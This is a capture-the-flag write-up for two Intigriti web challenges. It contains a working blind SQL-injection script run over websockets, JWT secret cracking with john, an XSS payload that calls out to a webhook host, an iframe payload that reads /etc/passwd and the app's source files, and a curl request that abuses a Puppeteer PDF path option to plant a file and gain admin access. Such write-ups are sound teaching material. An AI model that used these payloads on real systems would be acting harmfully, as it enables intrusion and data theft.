Link to archive challenges:
Category : Web
Web : Bug Report Repo
Browsing the web challenge, we will encounter with a page that show the “Bug Reports”. There is one visible search box that we can use to check the report status by using BUG ID
When we enter BUG ID == 1
we can see the page highligted the first row but where is the user Alice
coming from? Probably its query something behind this.
How about if we try to insert single quote '
instead? We got an error? Is there SQL Injection involved in here?
Let’s try put a custom query to make it response with correct and wrong response.
Correct Response
1 |
1 OR 1=1 |
Wrong Response
1 |
1 AND 1=2 |
Since we know it involve SQL INJECTION, next step is to find where is the flag located? It was mentioned in the challenge’s description that it received a CRITICAL bug but it was not shown in the system. When we try to check on BUG ID == 11
we receive an unusual user in the response.
Probably we will get hints when we look into this user’s description. To do that we need exploit the SQL Injection and extract the description of bug id equal to 1. We can create an automation script to extract it. We also identified that its using WEBSOCKETS for the request.
Below are the full scripts to extract the description of BUGID == 11
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
import string, base64 from websockets.sync.client import connect def sqli(ws,q_left,chars): data = """{"id":"11 and (%s='%s')"}""" % (q_left, chars) ws.send(data) temp = ws.recv() return "Open" in temp def exploit_websockets(TARGET): dumped = "" with connect(TARGET) as ws: sql_template = "SELECT substr(description, %s, 1)" i = 1 while True: for chars in string.printable: if sqli(ws,sql_template%i,chars): dumped += chars print(dumped) i+=1 break if __name__ == "__main__": TARGET = "wss://bountyrepo.ctf.intigriti.io/ws" exploit_websockets(TARGET) |
Extracted : crypt0:c4tz on /4dm1n_z0n3, really?
Browsing /4dm1n_z0n3
will get us into a secure admin login page.
Using the credentials we found will get us into this page. Sadly our user crypt0
don’t have the permission to view the config key.
When we look at the cookies, it looks like JWT and yes it is. It using alg == HS256
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZGVudGl0eSI6ImNyeXB0MCJ9.zbwLInZCdG8Le5iH1fb5GHB5OM4bYOm8d5gZ2AbEu_I |
By reading in the Hacktricks we probably need to crack the JWT and find the secret key? Let’s give it a try using jwtcrack
Algorithm HS256
: Uses the secret key to sign and verify each message
# jwt2john ./jwt2john.py "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZGVudGl0eSI6ImNyeXB0MCJ9.zbwLInZCdG8Le5iH1fb5GHB5OM4bYOm8d5gZ2AbEu_I" > hash # john john hash --wordlist=/usr/share/wordlists/rockyou.txt |
Found : catsarethebest
Next, we can easily modify our JWT in here with the secret key we found.
And we get the flag!
Flag : INTIGRITI{w3b50ck37_5ql1_4nd_w34k_jw7}
Web : My Music
I didn’t managed to solve this challenge during the event but it’s a good practice to solve an unsolved challenge after the event. Thanks to all of the writeup from others CTF players!
We can see that there are Login and Register tabs at the top of the page
Let’s try register an account first.
We have login hash
, update function
and generate profile card
which could help us to look for vulnerability in this page.
The login page only receive the login hash
to login. A valid hash will lead us to the home page of the user, while invalid hash will give us an error. Nothing much I manage to find in this login page, so let’s move on to the update function.
Invalid Login Hash
The update function will send a PUT
method to /api/user
and there are three (3) parameters we can update in here.
The generate function will send a POST
method to /profile/generate-profile-card
and there is no parameter used and it needs the cookies login_hash
The PDF generator will have all the value of parameters username,firstname,lastname,spotifyTrackCode
.
First thing come into my mind, is it a dynamic PDF generated? Will there be an injection related to server side? So mostly I referring in here while doing this challenge. So let’s try insert html injection in all the parameters that we can update and generate again the PDF.
1 2 3 |
{ "firstName":"<h1>firstName</h1>","lastName":"<h1>lastName</h1>","spotifyTrackCode":"<h1>spotifyTrackCode</h1>" } |
Nice, atleast one parameter spotifyTrackCode
vulnerable to HTML Injection
. But is it just a normal HTML Injection
? Let’s try insert one XSS that try request to our webhook.
1 |
<img src=x onerror=fetch('https://webhook.site/edf38419-6f01-4b60-aa0e-2428b2089bef') /> |
Nice we got a request!
So now we know that it involve with server side, let’s use simple payload to read local file such as /etc/passwd
1 |
<iframe src=file:///etc/passwd height=2000 width=800></iframe> |
So I tried to read almost all of the source code that I could find listed below:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
/app/app.js /app/package.json /app/routes/index.js /app/routes/api.js /app/views/register.handlebars /app/services/user.js /app/middleware/check_admin.js /app/middleware/auth.js /app/controllers/user.js /app/utils/generateProfileCard.js /app/views/print_profile.handlebars /app/data/{hash}.json /app/Dockerfile /etc/resolv.conf |
To get the flag, we need to access /admin
with JSON body which impossible for us to update through the web UI.
routes/index.js
1 2 3 |
router.get('/admin', isAdmin, (req, res) => { res.render('admin', { flag: process.env.FLAG || 'CTF{DUMMY}' }) }) |
middleware/check_admin.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
const { getUser, userExists } = require('../services/user') const isAdmin = (req, res, next) => { let loginHash = req.cookies['login_hash'] let userData if (loginHash && userExists(loginHash)) { userData = getUser(loginHash) } else { return res.redirect('/login') } try { userData = JSON.parse(userData) if (userData.isAdmin !== true) { res.status(403) res.send('Only admins can view this page') return } } catch (e) { console.log(e) } next() } module.exports = { isAdmin } |
The function getUser(loginHas)
will get us better understanding on what userData.isAdmin
is checking.
services/user.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 |
const fs = require('fs') const path = require('path') const { createHash } = require('crypto') const { v4: uuidv4 } = require('uuid') const dataDir = './data' // Register New User // Write new data in /app/data/<loginhash>.json const createUser = (userData) => { const loginHash = createHash('sha256').update(uuidv4()).digest('hex') fs.writeFileSync( path.join(dataDir, `${loginHash}.json`), JSON.stringify(userData) ) return loginHash } // Update User // Update new data in /app/data/<loginhash>.json const setUserData = (loginHash, userData) => { if (!userExists(loginHash)) { throw 'Invalid login hash' } fs.writeFileSync( path.join(dataDir, `${path.basename(loginHash)}.json`), JSON.stringify(userData) ) return userData } // Get User // Read /app/data/<loginhash>.json const getUser = (loginHash) => { let userData = fs.readFileSync( path.join(dataDir, `${path.basename(loginHash)}.json`), { encoding: 'utf8', } ) return userData } // Check if UserExists // Check if file /app/data/<loginhash>.json exists const userExists = (loginHash) => { return fs.existsSync(path.join(dataDir, `${path.basename(loginHash)}.json`)) } |
So getUser()
will get us the JSON
value of our user which will holds parameters such as username,firstname,lastname,spotifyTrackCode
as shown inside the codes below and there is no isAdmin
controllers/user.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
... // Create User only accepts username, firstName, lastName // There is no isAdmin available in here const { username, firstName, lastName } = req.body const userData = { username, firstName, lastName, } try { const loginHash = createUser(userData) ... // Update user only accepts firstname, lastname, spotifyTrackCode // Also there is no isAdmin available in here const { firstName, lastName, spotifyTrackCode } = req.body const userData = { username: req.userData.username, firstName, lastName, spotifyTrackCode, } try { setUserData(req.loginHash, userData) ... |
One idea, that I had was to find a way to write the JSON payload with isAdmin into /app/data
and use the cookies login_hash
to load the .json file. Interestingly, inside the PDF generator function located in utils/generateProfileCard.js
, there is a request body that we can send to add options into puppeteer pdf.
routes/index.js
1 2 3 4 5 6 |
// We can send userOptions in the body router.post('/profile/generate-profile-card', requireAuth, async (req, res) => { const pdf = await generatePDF(req.userData, req.body.userOptions) res.contentType('application/pdf') res.send(pdf) }) |
utils/generateProfileCard.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
... const generatePDF = async (userData, userOptions) => { const browser = await puppeteer.launch({ executablePath: '/usr/bin/google-chrome', args: ['--no-sandbox'], }) const page = await browser.newPage() ... let options = { format: 'A5', } // Our userOptions will be use to generate the PDF if (userOptions) { options = { ...options, ...userOptions } } const pdf = await page.pdf(options) ... } ... |
Maybe this is the path for us to write the JSON with isAdmin
? After reading the documentation in here, there is one options that we can use called path
to output and save the file somewhere in locally.
Let’s try save the our PDF in /app/data/test.json
, then try read the file by generate the PDF.
1 |
curl -k -X POST -H 'Content-Type: application/json' -b 'login_hash=f024b76b41f9dba21cf620484862e9b90465d8db09ea946fb04a0f6f3876103a' https://mymusic.ctf.intigriti.io/profile/generate-profile-card -d '{"userOptions":{"path":"/app/data/test.json"}}' |
Nice! We could write something using this method.
Next step would be on how could we write the payload below somewhere in the server. We know that it will save as PDF not a JSON file in the content.
1 |
{'username':'a','firstName':'a','lastName':'b','spotifyTrackCode':'c','isAdmin':'true'} |
What if we store this JSON in our webhook server and redirect it using XSS to reflect the content into the file? Let’s give it a try
1 |
<img src=x onerror=document.location='https://webhook.site/edf38419-6f01-4b60-aa0e-2428b2089bef'> |
Let’s generate it and store it in /app/data/test.json
. It still saved it as PDF format.
But let’s give it a try to load it in login_hash
Flag : INTIGRITI{0verr1d1ng_4nd_n0_r3turn_w4s_n3ed3d_for_th15_fl4g_to_b3_e4rn3d}